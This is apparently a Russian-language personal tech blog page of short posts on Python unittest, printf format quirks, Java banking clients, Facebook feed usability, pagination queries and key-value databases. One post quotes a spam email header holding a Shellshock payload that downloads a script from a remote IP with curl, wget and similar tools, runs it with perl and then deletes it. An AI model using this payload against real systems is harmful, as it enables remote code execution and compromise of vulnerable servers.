UPDATE[2016.08.23]: RCR была бы полезна для небольших упрощений деления на 7, 19 и т.п., там, где сейчас борются с беззнаковым переполнением через промежуточные короткие результаты.
netch80: (bird)
Прибежал спамчик с кучей заголовков вида:

Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165 /ex.txt;perl ex.txt;rm -fr ex.*' &;

как бы очевидно, что и как применяют, но непонятно, для какого это MUA.
netch80: (bird)

$ awk '$2=="1024"{print;}' <.ssh/known_hosts|wc -l
      49


надо таки чаще чистить всякие файлики в хоме, да.
netch80: (bird)
Диагностика одного сложного "какого хрена?" завершилась осознанием того, что если в классе для питонового unittest есть несколько тестов, и какие-то тесты падают, то управляющий слой создаёт по классу на тест, вызывает setUp() у них по очереди, накапливает объекты, и только потом у упавших вызывает tearDown(). В варианте, когда по setUp() создаётся некий внешний сервер, который может быть один на запуск, это приводит к идиотскому конфликту на непонятном месте.

Формально всё вроде правильно, но по сути получается издевательство.

(Это не при "штатном" запуске, а при


    suite = unittest.TestLoader().loadTestsFromTestCase(BackendTest)
    unittest.TextTestRunner(verbosity = 2).run(suite)


не знаю, насколько зависит от этого.)

risc-V

Oct. 4th, 2014 09:00 am
netch80: (bird)
Вот эти ребята активно уговаривают мир перейти на их сторону силы, потому что у них самые правильные печеньки. (Наткнулся в какой-то дискуссии по принципу "нафига вам этот ARM?")
Интересно даже не то, взлетит или нет, а что таким активно занимаются - значит, кого-то настолько достала политика нынешних монстров, а разработка проектов железа дошла до такой цены, что может пойти "в народ".
netch80: (bird)
Для поиска и своего архива:

Aval'евский клиент-банк СПД (от Bifit LLC) работает только с Oracle JRE. На openjdk падает без внятной диагностики и с сообщениями типа "JAR not found" при попытке выкачать части клиента. При том, что в основных линуксах по умолчанию openjdk, это добавляет гимора. Саппорт на письма не отвечает (по слухам, там IT никакое).

В случае OpenSuSE (13.1) потребовалось

1) скачать и поставить Oracle JRE, пакетом (jre-7u67-linux-x64.rpm, хотя установленный почему-то зовётся jre-1.7.0_67-fcs.x86_64; стал в основном в /usr/java/jre1.7.0_67)
2) организовать через update-alternatives (тулза с откровенно неестественным интеллектом) /etc/alternatives/javaplugin -> /usr/java/jre1.7.0_67/lib/amd64/libnpjp2.so

У другого банка такой же по виду Bifit'овский клиент работает сразу.

Thx 2 melkori@ & andrej@ за подсказки в ориентации бубна.
netch80: (bird)
В питоне:

print '|%10%|' % ()
print '|%-10%|' % ()


выводит:

|         %|
|%         |


То же самое в перле и FreeBSD libc.

Но glibc выводит простой процент без расширения поля (две строки с |%|), gcc ругается, что формат неправильный, причём он в принципе не опознаёт такую возможность:

t.c:5: warning: conversion lacks type at end of format
t.c:5: warning: unknown conversion type character '|' in format
t.c:6: warning: conversion lacks type at end of format
t.c:6: warning: unknown conversion type character '|' in format


а C99 и Posix хором говорят "The complete conversion specification shall be %% ."
netch80: (bird)
IT-гремлины должны зваться граблинами.
netch80: (bird)
Вот у меня открыта лента FB, вот ткнул в ссылку, оно перешло на неё. Жму back - и как понять, где я был, и продолжить чтение дальше? А если переход был случаен?

Дурнейшее поветрие современного web 2.5 (или как там его назвать, потому что 2.0 уже было) - отсутствие чёткого понятия, что такое показываемая страница. В общем случае тебе покажут что угодно, приблизительно совпадающее с тем, что ты хотел. А особенно "лента", которую начал, может быть, тот же facebook, но поддерживают все (ладно там flickr, который 90% кошки и трамваи в тумане, но уже и itc.ua!) И вот я куда-то перешёл... скорее всего, случайно. Ибо:

1. Одни олигофрены от интерфейсостроения решили, что можно совместить полностью противоположные(!) функции на одной кнопке, если они не могут быть выбраны одновременно. Например, в Firefox - остановить загрузку и перезагрузить страницу. В результате жму на долго не грузившейся странице... привет, race condition: пока палец тратил миллисекунды на нажатие кнопки на мышке, страница успела "докачаться". Точно так же средняя кнопка мыши: пока курсор на ссылке, это open in new tab, а когда нет - это go to link from clipboard. Спасибо, это хоть можно в about:config зарулить нормально, в отличие от предыдущего. Но боюсь, скоро и это уберут.

2. Другие такие же недержатели IQ, начиная с facebook, не могут внятно показать, это ссылка или нет. Ещё неделю назад было, что "Показати більше..." это открыть кат в том же окне (а средняя кнопка открывает ещё одну ленту), а "Читати далі..." это полноценная ссылка, которую лучше открыть в новой вкладке. Но сейчас это не так - кучу раз наткнулся уже, что "Показати більше", но открывает другую страницу (в той же вкладке). Прощай, лента. Так читать её больше трёх последних котиков нельзя. Что, на каждом подозрительном объекте щёлкать правой и искать, нет ли там open in new tab, и сравнивать URL с текущим? Так тоже могут обхитрить, диверсанты.

В ЖЖ это сделано более разумно. Все кнопки типа "развернуть комментарии", "открыть подкат" имеют две реакции - при обычном нажатии JS разворачивает, а при средней кнопке (или правой плюс open in a new tab) - делает показ в ограниченном виде (только подветка, только один постинг). Это даже после последних переделок. Видно, что там ещё сохранились остатки здравой технической мысли. И лента там показывается почти по-человечески - каждый кусок имеет свой URL.

А почему "почти"? Потому что если я читал первый кусок, потом пошёл на более старые где "?skip=50", а за это время добавилось 10 сообщений, то я увижу 10 уже виденных в начале ленты. Конечно, спасибо, что известили, что есть новые, но это лучше делать иначе - где-нибудь в заголовке выходной страницы.

А ещё они таким подходом убивают сервера базы, и появляются в интернете рецепты типа "страшно тормозит сервер на выборках типа SELECT ... LIMIT 100 OFFSET 100500500? Выберите с offset'ом только id статей подзапросом и затем выберите сами статьи через SELECT * ... in (SELECT id...)". То, что надо было при формировании страницы запомнить timestamp самой старой записи и уже, не задрачивая сервер, спросить просто и эффективно "SELECT * from messages WHERE форум AND ts_updated < ${threshold_from_url} ORDER BY ts_updated DESC LIMIT 50", им, видимо, на ум не приходит уже лет 20, сколько есть эти форумы и ленты.

UPDATE: Почему такой бардак в переключении между частями ленты даже там, где она есть?
У одних в прошлое это "previous page", в будущее - "next page".
У других строго наоборот в прошлое это next page - ну логично же, [censored], начинают-то с самых свежих (а кто не скачет с нами, тот предатель, да).
У хабра к более старым это "туда". To Du.blin. Они считают читателей такими тупыми, что не разберутся, куда же надо листать?
На opennet поставили на этих ссылках "раньше"/"позже" по моей просьбе, но впараллель к невнятному "следующая страница" и "предыдущая страница" соотственно.

UPDATE2: если забанить кого-то в FB, это настолько срывает блюдце скрипту, что лента перерисовывается полностью с нуля. "Семь бед - один Reset" (tm)

"Пробачте за емоції, простите, накипело" ((c) Орест Лютий)

Кстати, у меня на работе FB показывает верхнюю полоску (в которой поиск и нотификации) постоянно, а дома - нет. Акаунт один и тот же, версии FF одинаковые, основные настройки - тоже. Что за ахтунги у них в DevOps?

TDD is dead

May. 3rd, 2014 05:03 pm
netch80: (bird)
Примерно то же, что я говорю уже пару лет, но теперь от аскакалов тематики.
http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html
https://www.facebook.com/notes/kent-beck/rip-tdd/750840194948847
(via DOU)

UPD: http://rbcs-us.com/documents/Why-Most-Unit-Testing-is-Waste.pdf
netch80: (Default)
На одном сайтике есть такое:

<body onkeydown="if(event.ctrlKey){return false;}" ... >

В результате Firefox (28) не позволяет закрыть страницу через клавиатуру (Ctrl+W). Только мышью.
Чего это он и есть ли лечение?
netch80: (Default)
Стругацкие таки гении.

Сначала обнаружил, что эвристическая машина Машкина это концепция, по силе сравнимая с машиной Тьюринга.

Затем, разбирая riak backends, смог для описания логики их работы только вспомнить фразу: "Ротор поля наподобие дивергенции градуирует себя вдоль спина и там, внутре, обращает материю вопроса в спиритуальные электрические вихри, из коих и возникает синекдоха отвечания..."

Хотя в варианте async_fold эта самая синекдоха отвечания откладывается до момента реального применения:)
netch80: (Default)
С продвижением dbus в ядро народ упорно идёт к этому, хоть и в разы более путанно. Ну почему бы не сделать проще...
netch80: (Default)
В разнообразных новых движках БД (которые принято называть NoSQL, хотя NoRel было бы адекватнее) обожают key-value подход, но изображают хэш - все ключи независимы. В Riak в принципе не вводили связь между соседними ключами. Этому есть какие-то конструктивные причины? Или это просто недоработка авторов, потому что им такого было не нужно?

Очень много задач удобно решаются с помощью операций типа "получить значение ключа, следующего за данным в порядке выбранной сортировки". BerkeleyDB это умела почти с рождения. SQL движки - тоже (пусть это и надо получить заклинаниями типа ORDER BY + LIMIT n, внутри всё равно исполняется проход по упорядочённому индексу). В случае неподдержки такого приходится заниматься закатом солнца вручную (например, с рисованием индексов своими силами).

Одно частичное возражение я вижу - шардинг. Его в некоторых случаях удобно делать через отдельные биты хэша ключа, в таком случае задача "найти следующий", если делается на локальных хранилищах, требует запроса ко всем шардам. Но это только удорожание операции, если она нужна, а не принципиальная невозможность; к тому же минимальное кэширование результатов лукапа делает цепочку таких getnext не дороже прохода по локальному хранилищу. Ещё какие-то причины?

Profile

netch80: (Default)
netch80

August 2017

S M T W T F S
  12345
67 89101112
13141516171819
20212223242526
2728293031  

Syndicate

RSS Atom

Most Popular Tags

Page Summary

Style Credit

Expand Cut Tags

No cut tags
Page generated Aug. 20th, 2017 09:15 pm
Powered by Dreamwidth Studios